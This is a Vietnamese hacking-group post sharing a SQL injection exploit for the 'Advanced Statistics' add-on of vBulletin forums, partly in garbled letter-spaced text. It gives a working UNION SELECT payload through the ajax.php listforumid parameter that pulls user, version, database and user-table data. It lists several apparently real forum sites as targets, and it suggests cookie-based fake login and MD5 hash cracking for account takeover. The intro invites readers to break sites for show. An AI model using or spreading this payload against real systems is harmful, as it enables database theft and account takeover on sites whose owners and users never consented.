Hướng dẫn ChangUonDyU - Advanced Statistics SQL injection

[VnSlo]

_ Tình hình ku juno nó cũng pub BUG này lên
rồi thôi thì chả giữ làm gì ) pub lên cho mấy
bạn được gọi là " Trẻ Trâu" Nghịch và phá and
SHOW ha ha
_Mình chỉ hướng dẫn qua loa thôi không
hướng dẫn chi tiết, khai thác cách nào thì tùy mấy bé 0 1 0 1 0 1 0 1 0 1 0 1 0 1 0 1 0 1 0 1 0 1 0 1 0 1 0 1 0 1 0 1 0 1 0 1 0 1 0 1 0 1 0 1 0 1 0 1 0 1 0 1 0 1 0 1 0 1 VNH G R O U P 0 0 H 4 c k i n g - S 3 c u r e - U n d 3 r G r o u p 0 0 1 0 1 0 1 0 1 0 1 0 1 0 1 0 1 0 1 0 1 0 1 0 1 0 1 0 1 0 1 0 1 0 1 0 1 0 1 0 1 0 1 0 1 0 1 0 1 0 1 0 1 0 1 0 1 0 ###################### ###################### ###################### ###################### ############# - > Vu l n e r a b i l i t y ###################### ###################### ###################### ###################### ############# - > h t t p : / / t a r g e t . c om/ f o r um/ a j a x . p h p ? d o = i n f o r um& l i s t f o r um i d = 5 2 ) U N I O N S E L E C T 1 , 2 , 3 , 4 , 5 , 6 , c o n c a t _ ws ( 0 x7 c , u s e r ( ) , v e r s i o n ( ) , d a t a b a s e ( ) ) , 8 , 9 , 1 0 , 1 1 f r om u s e r wh e r e u s e r i d = 1 - - - & r e s u l t = 2 0 ###################### ###################### ###################### ###################### ############# - > e g : h t t p : / / d i e n d a n h a i d u o n g . c om/ f o r um/ a j a x . p h p ? d o = i n f o r um& l i s t f o r um i d = 5 2 ) U N I O N S E L E C T 1 , 2 , 3 , 4 , 5 , 6 , c o n c a t _ ws ( 0 x7 c , u s e r ( ) , v e r s i o n ( ) , d a t a b a s e ( ) ) , 8 , 9 , 1 0 , 1 1 f r om u s e r wh e r e u s e r i d = 1 - - - & r e s u l t = 2 0 h t t p : / / s i n h v i e n t a y a n . c om/ f o r um/ a j a x . p h p ? d o = i n f o r um& l i s t f o r um i d = 5 2 ) U N I O N S E L E C T 1 , 2 , 3 , 4 , 5 , 6 , c o n c a t _ ws ( 0 x7 c , user(),version(),database()),8,9,10,11
from user where userid=1-- -&result=20 http://vietsource.net/forum/ajax.php?
do=inforum&listforumid=52) UNION SELECT 1,2,3,4,5,6,concat_ws(0x7c,user
(),version(),database()),8,9,10,11 from
user where userid=1-- -&result=20 Tuổi Trẻ Đông Anh (TTDA) - Tin nhanh Đông Anh, Kết nối con người Đông Anh
ajax.php?do=inforum&listforumid=52) UNION SELECT 1,2,3,4,5,6,concat_ws
(0x7c,user(),version(),database
()),8,9,10,11 from user where userid=1-- -
&result=20 ###################### ###################### ###################### ###################### ############# [ + ] I f v b b v e r s i o n 4 . 1 . 2 , 3 , 4 , 5 y o u c a n i n s t a l l a d d o n s Ad v a n c e d C o o k i e M a n a g e r f a k e l o g i n [ + ] Md 5 H a s h G e n e r a t o r - > h t t p : / / www . m i r a c l e s a l a d . c om/ we b t o o l s / md 5 . p h p [ + ] T h a n k s t o J u n o - o k y o & a l l VNH g r o u p memb e r s ###################### ###################### ###################### ###################### ##